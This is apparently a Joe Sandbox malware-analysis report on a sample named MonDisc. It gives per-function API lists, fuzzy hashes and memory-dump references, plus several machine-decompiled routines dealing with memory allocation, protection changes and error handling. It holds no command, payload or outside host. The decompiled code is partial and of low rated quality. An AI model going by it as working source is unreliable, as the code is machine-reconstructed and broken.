Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FF6ED13B52C
VirtualProtect.KERNEL32 ref: 00007FF6ED13B563
VirtualProtect.KERNEL32 ref: 00007FF6ED13B5B1
VirtualProtect.KERNEL32 ref: 00007FF6ED13B5F6

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e4865afb915496471d6bbcdb1aef419896af53439b49253e0173317b4e702b01
Instruction ID: 23760ffbd38c54b6a976e324039b38575267c01d6e03f29e684952373d1371d1
Opcode Fuzzy Hash: e4865afb915496471d6bbcdb1aef419896af53439b49253e0173317b4e702b01
Instruction Fuzzy Hash: 63214CA3B0CA8781EE54CF26E2487ED6360EB54B88F490136CB0D87A54FF7AD595C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED114AC0 Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF6ED114AF0
VirtualQuery.KERNEL32 ref: 00007FF6ED114B0E
VirtualFree.KERNEL32 ref: 00007FF6ED114B43
SetLastError.KERNEL32 ref: 00007FF6ED114B5B

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorLastVirtual$FreeQuery
String ID:
API String ID: 2187276999-0
Opcode ID: 20c87b9970e1333da46833e6f9bdc2643c7eabd298e1a4bb3600f4f4c70c1e47
Instruction ID: d2c727e92524424272ba073387561c9dd33d74b7cd1c00438b10502e41622d52
Opcode Fuzzy Hash: 20c87b9970e1333da46833e6f9bdc2643c7eabd298e1a4bb3600f4f4c70c1e47
Instruction Fuzzy Hash: 3211FE32B1DB4286EA619F11B4003A9A3A5FB94F80F084135DA8D97A58EF3DE549CB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED101990 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF6ED101AF8
csm, xrefs: 00007FF6ED101AEF

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ContextEntryFunctionLookup$CaptureRestoreUnwindVirtual
String ID: CCG $csm
API String ID: 3115360832-2763669848
Opcode ID: 5c106786abd1ca784610bfdf5277bef85e973f650f6fddc9046c55bcd675574e
Instruction ID: 086cef70dfa1d7809f2bbaa0ae7c80d2d7427a632f18b3e3c5d0d3ce2f3ea367
Opcode Fuzzy Hash: 5c106786abd1ca784610bfdf5277bef85e973f650f6fddc9046c55bcd675574e
Instruction Fuzzy Hash: 6541E423B0874682EA24AF16E4053B967A1FB44BD4F544031EE5DC7BD5FE3EE491830A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED114990 Relevance: 3.8, APIs: 3, Instructions: 73
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF6ED114990(void* __esi, signed long long __rax, long long __rbx, void* __rcx, long long __rsi) {
				void* _t23;
				void* _t24;
				signed int _t25;
				signed long long _t46;
				signed long long _t47;
				void* _t49;
				void* _t56;
				void* _t58;
				long long _t59;
				long _t60;
				void* _t62;
				long long _t71;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t78;

				_t49 = __rcx;
				 *((long long*)(_t75 + 0x18)) = __rbx;
				_t76 = _t75 - 0x20;
				GetLastError();
				r8d = 0x3000;
				_t2 = _t49 + 4; // 0x4, executed
				r9d = _t2;
				_t23 = VirtualAlloc(??, ??, ??, ??); // executed
				_t46 = __rax;
				SetLastError(_t60);
				_t62 =  !=  ? __rax : 0xffffffff;
				if (0xffffffff == 0xffffffff) goto 0xed114aa7;
				 *((long long*)(_t76 + 0x30)) = _t71;
				 *((long long*)(_t76 + 0x38)) = __rsi;
				if (0xffffffff != 0xffffffff) goto 0xed1149f4;
				goto 0xed1149fa;
				_t5 = _t62 + 0x10; // 0x10000000f
				_t73 = _t5 + 0xffffffff;
				r8d = 0x370;
				_t24 = E00007FF67FF6ED174DE0(_t23, 0, _t73, _t56, _t78);
				 *0x00BADBB4 = 0x373;
				 *((long long*)(_t73 + 0x348)) = 0xffffffff;
				 *((long long*)(_t73 + 0x350)) = 0x20000;
				 *((long long*)(_t73 + 0x30)) = 0xff;
				_t25 = E00007FF67FF6ED114770(_t24, _t73);
				_t12 = _t73 - 0x10; // 0xffffffff
				_t58 = _t12 + ( *(_t73 - 8) & 0xfffffffc);
				if (0xffffffff == 0xffffffff) goto 0xed114a6a;
				_t47 =  ~_t46;
				_t59 = _t58 + _t47;
				 *((long long*)(_t73 + 0x20)) = _t59;
				 *((long long*)(_t73 + 0x10)) = 0xffffffff;
				 *((long long*)(_t59 + 8)) = 0xffffffffffffffff;
				 *((long long*)(_t59 + _t62 - _t58 + 0x1ffc0 - _t47 + 8)) = 0x40;
				 *((long long*)(_t73 + 0x28)) = 0x200000;
				return _t25 & 0x00000007;
			}

0x7ff6ed114990
0x7ff6ed114990
0x7ff6ed114996
0x7ff6ed11499a
0x7ff6ed1149a7
0x7ff6ed1149af
0x7ff6ed1149af
0x7ff6ed1149b3
0x7ff6ed1149bb
0x7ff6ed1149be
0x7ff6ed1149ce
0x7ff6ed1149d6
0x7ff6ed1149dc
0x7ff6ed1149e3
0x7ff6ed1149ee
0x7ff6ed1149f2
0x7ff6ed1149fa
0x7ff6ed114a00
0x7ff6ed114a03
0x7ff6ed114a0c
0x7ff6ed114a11
0x7ff6ed114a1d
0x7ff6ed114a24
0x7ff6ed114a2f
0x7ff6ed114a37
0x7ff6ed114a40
0x7ff6ed114a4d
0x7ff6ed114a60
0x7ff6ed114a64
0x7ff6ed114a6d
0x7ff6ed114a70
0x7ff6ed114a77
0x7ff6ed114a82
0x7ff6ed114a86
0x7ff6ed114a8f
0x7ff6ed114aa6

APIs

GetLastError.KERNEL32 ref: 00007FF6ED11499A
VirtualAlloc.KERNEL32 ref: 00007FF6ED1149B3
SetLastError.KERNEL32 ref: 00007FF6ED1149BE

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: f9c01e8079d133bec8a0bf8e62291096fc8cae84ce67d04018067ad811153b0a
Instruction ID: 98e56af6b6f377ec6667c3075afbc33377463620c4bf1779db588bb8d3e3fd95
Opcode Fuzzy Hash: f9c01e8079d133bec8a0bf8e62291096fc8cae84ce67d04018067ad811153b0a
Instruction Fuzzy Hash: 2921C073B14A818AE7148F21E9843AD62A1EB49BB8F184334DE7E4BED8DF3DD5458304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13B310 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FF6ED13B340

Strings

, xrefs: 00007FF6ED13B34A

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: dc9e0bc24b8a14b25f42cd3fce6812904afc7f3a83e5f824c8b073630af0a366
Instruction ID: be4b07f3d9134a10a2fc78fcdcb8a4252cdedfe51f07cdab15943710952af4e3
Opcode Fuzzy Hash: dc9e0bc24b8a14b25f42cd3fce6812904afc7f3a83e5f824c8b073630af0a366
Instruction Fuzzy Hash: 16E06562A0A287C1FF688F62E1887FC2250EB44B48F0D1036CE0D8B685EF39C0858715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13B370 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FF6ED13B3A2

Strings

, xrefs: 00007FF6ED13B3AC

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: bd5762d522cc1c6c6a376013eaf042b8cddcb8530fa961075b392e24916f12f7
Instruction ID: 220a74afe9235aedeedc20ea71f6fea26784fb983462feb32570772bf4605c29
Opcode Fuzzy Hash: bd5762d522cc1c6c6a376013eaf042b8cddcb8530fa961075b392e24916f12f7
Instruction Fuzzy Hash: 44E09262A1A68781EB14CB62E54C7EC3350EB04B4CF1C0036CA188B351EF3AC0828705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED184AF0 Relevance: 3.1, APIs: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF67FF6ED184AF0(void* __ecx, long long __rbx, signed int __rdx, long long __rdi, long long __r14, long long _a8, long long _a16, long long _a24) {
				signed long long _v24;
				int _t20;
				void* _t29;
				void* _t42;
				void* _t44;
				void* _t52;
				void* _t63;
				signed int* _t65;
				signed long long _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				intOrPtr* _t70;
				signed long long _t74;
				void* _t77;
				intOrPtr _t78;
				void* _t80;
				signed long long* _t85;
				void* _t89;
				signed long long _t93;
				intOrPtr _t95;
				signed long long _t96;
				void* _t97;
				signed long long _t101;
				signed long long _t105;

				_a8 = __rbx;
				_a16 = __rdi;
				_a24 = __r14;
				_t42 = __ecx;
				_t65 = __rdx - 3;
				if (_t65 - 1 <= 0) goto 0xed184c96;
				_t44 = __ecx - 0x16;
				if (_t44 > 0) goto 0xed184bdb;
				asm("bt eax, ecx");
				if (_t44 >= 0) goto 0xed184bdb;
				r15d = 0;
				0xed1c5b38();
				if (__ecx == 2) goto 0xed184b48;
				if (__ecx != 0x15) goto 0xed184b82;
				if ( *0xed2377e8 != 0) goto 0xed184b82;
				_t20 = SetConsoleCtrlHandler(??, ??); // executed
				if (_t20 == 0) goto 0xed184b70;
				 *0xed2377e8 = 1;
				goto 0xed184b82;
				E00007FF67FF6ED184D64(_t65);
				 *_t65 = GetLastError();
				E00007FF67FF6ED184730(__ecx, _t20);
				if (_t65 == 0) goto 0xed184bc1;
				_t93 =  *0xed2361d8; // 0x3623d5dd24d9
				_t105 = _t93 ^  *_t65;
				asm("dec ecx");
				_v24 = _t105;
				if (__rdx == 2) goto 0xed184bc1;
				asm("dec ecx");
				_t101 = __rdx ^ _t93;
				 *_t65 = _t101;
				E00007FF67FF6ED1C5B8C();
				if (1 != 0) goto 0xed184c96;
				_t66 = _t105;
				goto 0xed184cb4;
				_t52 = __ecx - 0xb;
				if (_t52 > 0) goto 0xed184c96;
				asm("bt eax, edi");
				if (_t52 >= 0) goto 0xed184c96;
				E00007FF67FF6ED1C5560(_t66, _t65, __rdx, _t89);
				_t74 = _t66;
				if (_t66 == 0) goto 0xed184c96;
				_t77 =  *_t66;
				_t67 = _t77;
				if (_t77 != 0xed216e00) goto 0xed184c41;
				_t78 =  *0xed216ec8; // 0xc0
				E00007FF67FF6ED1C5A90(_t67, _t78);
				 *_t74 = _t67;
				if (_t67 == 0) goto 0xed184c96;
				E00007FF67FF6ED175500();
				_t80 =  *_t74;
				_t68 = _t80;
				_t95 =  *0xed216ec0; // 0xc
				_t96 = _t95 + _t95;
				goto 0xed184c5a;
				if ( *((intOrPtr*)(_t68 + 4)) == _t42) goto 0xed184c61;
				_t69 = _t68 + 0x10;
				if (_t69 != _t68 + _t96 * 8) goto 0xed184c51;
				if (_t69 == 0) goto 0xed184c96;
				_t11 = _t69 + 8; // 0x8
				_t85 = _t11;
				if (_t101 == 2) goto 0xed184c91;
				_t97 = _t80 + _t96 * 8;
				if (_t69 == _t97) goto 0xed184c91;
				if ( *((intOrPtr*)(_t85 - 4)) != _t42) goto 0xed184c91;
				 *_t85 = _t101;
				_t15 =  &(_t85[2]) - 8; // -16
				if (_t15 != _t97) goto 0xed184c7c;
				_t70 =  *_t85;
				goto 0xed184cb4;
				_t63 = _t42 - 0x11;
				if (_t63 > 0) goto 0xed184ca5;
				asm("bt eax, edi");
				if (_t63 < 0) goto 0xed184cb0;
				_t29 = E00007FF67FF6ED184D84(_t70);
				 *_t70 = 0x16;
				return _t29;
			}

0x7ff6ed184af0
0x7ff6ed184af5
0x7ff6ed184afa
0x7ff6ed184b08
0x7ff6ed184b0a
0x7ff6ed184b12
0x7ff6ed184b18
0x7ff6ed184b1b
0x7ff6ed184b26
0x7ff6ed184b29
0x7ff6ed184b31
0x7ff6ed184b38
0x7ff6ed184b41
0x7ff6ed184b46
0x7ff6ed184b4f
0x7ff6ed184b5d
0x7ff6ed184b65
0x7ff6ed184b67
0x7ff6ed184b6e
0x7ff6ed184b70
0x7ff6ed184b7e
0x7ff6ed184b84
0x7ff6ed184b8c
0x7ff6ed184b8e
0x7ff6ed184b9e
0x7ff6ed184ba3
0x7ff6ed184ba6
0x7ff6ed184baf
0x7ff6ed184bb8
0x7ff6ed184bbb
0x7ff6ed184bbe
0x7ff6ed184bc6
0x7ff6ed184bcd
0x7ff6ed184bd3
0x7ff6ed184bd6
0x7ff6ed184bdb
0x7ff6ed184bde
0x7ff6ed184be9
0x7ff6ed184bec
0x7ff6ed184bf2
0x7ff6ed184bf7
0x7ff6ed184bfd
0x7ff6ed184c03
0x7ff6ed184c06
0x7ff6ed184c13
0x7ff6ed184c15
0x7ff6ed184c1c
0x7ff6ed184c21
0x7ff6ed184c27
0x7ff6ed184c36
0x7ff6ed184c3b
0x7ff6ed184c3e
0x7ff6ed184c41
0x7ff6ed184c48
0x7ff6ed184c4f
0x7ff6ed184c54
0x7ff6ed184c56
0x7ff6ed184c5d
0x7ff6ed184c64
0x7ff6ed184c66
0x7ff6ed184c66
0x7ff6ed184c71
0x7ff6ed184c73
0x7ff6ed184c7a
0x7ff6ed184c7f
0x7ff6ed184c81
0x7ff6ed184c88
0x7ff6ed184c8f
0x7ff6ed184c91
0x7ff6ed184c94
0x7ff6ed184c96
0x7ff6ed184c99
0x7ff6ed184ca0
0x7ff6ed184ca3
0x7ff6ed184ca5
0x7ff6ed184caa
0x7ff6ed184cc9

APIs

SetConsoleCtrlHandler.KERNEL32 ref: 00007FF6ED184B5D
GetLastError.KERNEL32 ref: 00007FF6ED184B78

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ConsoleCtrlErrorHandlerLast
String ID:
API String ID: 3113525192-0
Opcode ID: f53325bfd13f146fae918ff1960d7656e1af014fcb56f4e7dbba479f7094eda8
Instruction ID: 866cd98c205e5f1f1a27038fb20b645368d7d859a7a68784045d08a35d2c2b5e
Opcode Fuzzy Hash: f53325bfd13f146fae918ff1960d7656e1af014fcb56f4e7dbba479f7094eda8
Instruction Fuzzy Hash: D051696BB0C6038AFB15CB15E5503F92A9BAF90B80F458536DA4D877D1FF7EE444820A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0FF020 Relevance: 2.6, APIs: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6ED0FF020(void* __edi, intOrPtr* __rax, signed long long __rcx, signed int __rdx, long long __rdi, long long __rsi, long long __r14, long long __r15) {
				void* _t60;
				signed int _t65;
				void* _t76;
				intOrPtr* _t109;
				signed long long _t111;
				signed long long _t114;
				intOrPtr _t115;
				long long _t125;
				void* _t131;
				long long _t139;
				signed long long _t141;
				void* _t143;
				void* _t145;
				intOrPtr _t148;

				 *((long long*)(_t143 + 0x50)) = _t139;
				_t111 = __rcx;
				 *((long long*)(_t143 + 0x58)) = __rsi;
				 *((long long*)(_t143 + 0x60)) = __rdi;
				 *((long long*)(_t143 + 0x28)) = __r14;
				 *((long long*)(_t143 + 0x20)) = __r15;
				E00007FF67FF6ED184D84(__rax);
				r12d =  *__rax;
				r13d = GetLastError();
				_t148 =  *((intOrPtr*)(__rcx + 0x10));
				_t114 =  *( *((intOrPtr*)(__rcx + 0x20)) - 0x10) & 0xffffffff;
				_t145 = _t148 + 0x2d8;
				if ( *((char*)(_t114 + 0xa)) != 0) goto 0xed0ff0ca;
				_t115 =  *((intOrPtr*)(_t114 + 0x20));
				if (( *(_t115 - 0x2b) & 0x00000002) == 0) goto 0xed0ff0a4;
				if ( *((intOrPtr*)(__rcx + 0x30)) -  *(__rcx + 0x28) -  *(__rcx + 0x28) << 3 > 0) goto 0xed0ff0be;
				E00007FF67FF6ED0FB470(( *(_t115 - 0x5d) & 0x000000ff) + 1 + __edi, __rcx);
				_t76 =  >=  ? ( *(_t115 - 0x5e) & 0x000000ff) - __edi : 0;
				goto 0xed0ff0e9;
				if ( *((intOrPtr*)(_t111 + 0x30)) -  *((intOrPtr*)(_t111 + 0x28)) - 0xa0 > 0) goto 0xed0ff0e7;
				E00007FF67FF6ED0FB470(0x14, _t111);
				 *(_t145 + 0x80) = _t111;
				if ((bpl & 0x00000001) == 0) goto 0xed0ff111;
				_t141 = __rdx & 0xfffffffe;
				E00007FF67FF6ED110630();
				goto 0xed0ff1a6;
				if ( *((intOrPtr*)(_t145 + 0xec)) == 0) goto 0xed0ff131;
				if (( *(_t148 + 0x91) & 0x00000060) != 0) goto 0xed0ff131;
				_t131 = _t141 - 4;
				_t60 = E00007FF67FF6ED110750(_t145, _t131); // executed
				if (( *(_t148 + 0x91) & 0x00000001) == 0) goto 0xed0ff1a6;
				if (0 <= 0) goto 0xed0ff166;
				 *((long long*)( *((intOrPtr*)(_t111 + 0x28)))) = 0xffffffff;
				 *((long long*)(_t111 + 0x28)) =  *((long long*)(_t111 + 0x28)) + 8;
				if (0 != 0) goto 0xed0ff150;
				_t37 = _t131 - 1; // -1
				r8d = _t37;
				E00007FF67FF6ED0FEEA0(_t60, 0, _t111);
				if (0 <= 0) goto 0xed0ff1a6;
				_t125 =  *((intOrPtr*)(_t111 + 0x28)) + 0xfffffff8;
				if ( *_t125 != 0xffffffff) goto 0xed0ff1a6;
				 *((long long*)(_t111 + 0x28)) = _t125;
				_t109 = _t145 + 0xec;
				if (0xffffffffffffffff > 0) goto 0xed0ff180;
				_t65 =  *(_t141 - 4) & 0x000000ff;
				if (( *(_t145 + 0xa8) & 0x00000001) == 0) goto 0xed0ff1d4;
				if ( *_t109 == 0) goto 0xed0ff1e0;
				if (_t65 == 0x59) goto 0xed0ff1de;
				if (_t65 != 0x5c) goto 0xed0ff1e0;
				E00007FF67FF6ED184D84(_t109);
				 *_t109 = r12d;
				SetLastError(??);
				return  *(0xed20b8a0 + _t111 * 2) & 0x0000ffff;
			}

0x7ff6ed0ff02a
0x7ff6ed0ff02f
0x7ff6ed0ff032
0x7ff6ed0ff03a
0x7ff6ed0ff03f
0x7ff6ed0ff044
0x7ff6ed0ff049
0x7ff6ed0ff04e
0x7ff6ed0ff05b
0x7ff6ed0ff05e
0x7ff6ed0ff070
0x7ff6ed0ff073
0x7ff6ed0ff07e
0x7ff6ed0ff080
0x7ff6ed0ff09e
0x7ff6ed0ff0b4
0x7ff6ed0ff0b9
0x7ff6ed0ff0c5
0x7ff6ed0ff0c8
0x7ff6ed0ff0d8
0x7ff6ed0ff0e2
0x7ff6ed0ff0e9
0x7ff6ed0ff0f4
0x7ff6ed0ff0f6
0x7ff6ed0ff100
0x7ff6ed0ff10c
0x7ff6ed0ff119
0x7ff6ed0ff123
0x7ff6ed0ff125
0x7ff6ed0ff12c
0x7ff6ed0ff140
0x7ff6ed0ff144
0x7ff6ed0ff154
0x7ff6ed0ff15b
0x7ff6ed0ff164
0x7ff6ed0ff16b
0x7ff6ed0ff16b
0x7ff6ed0ff16f
0x7ff6ed0ff17d
0x7ff6ed0ff18b
0x7ff6ed0ff195
0x7ff6ed0ff197
0x7ff6ed0ff19b
0x7ff6ed0ff1a4
0x7ff6ed0ff1ca
0x7ff6ed0ff1cd
0x7ff6ed0ff1d2
0x7ff6ed0ff1d7
0x7ff6ed0ff1dc
0x7ff6ed0ff1e0
0x7ff6ed0ff1e8
0x7ff6ed0ff1eb
0x7ff6ed0ff20f

APIs

GetLastError.KERNEL32 ref: 00007FF6ED0FF051
SetLastError.KERNEL32 ref: 00007FF6ED0FF1EB

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 15fa773349fef53890f5e6956d7d42ca67023491adaaa4fde1046caed90ad968
Instruction ID: 37449c63b16ce2906c0bb9a2a0e5c8de9a7cbcd64da11cded183891538ca131a
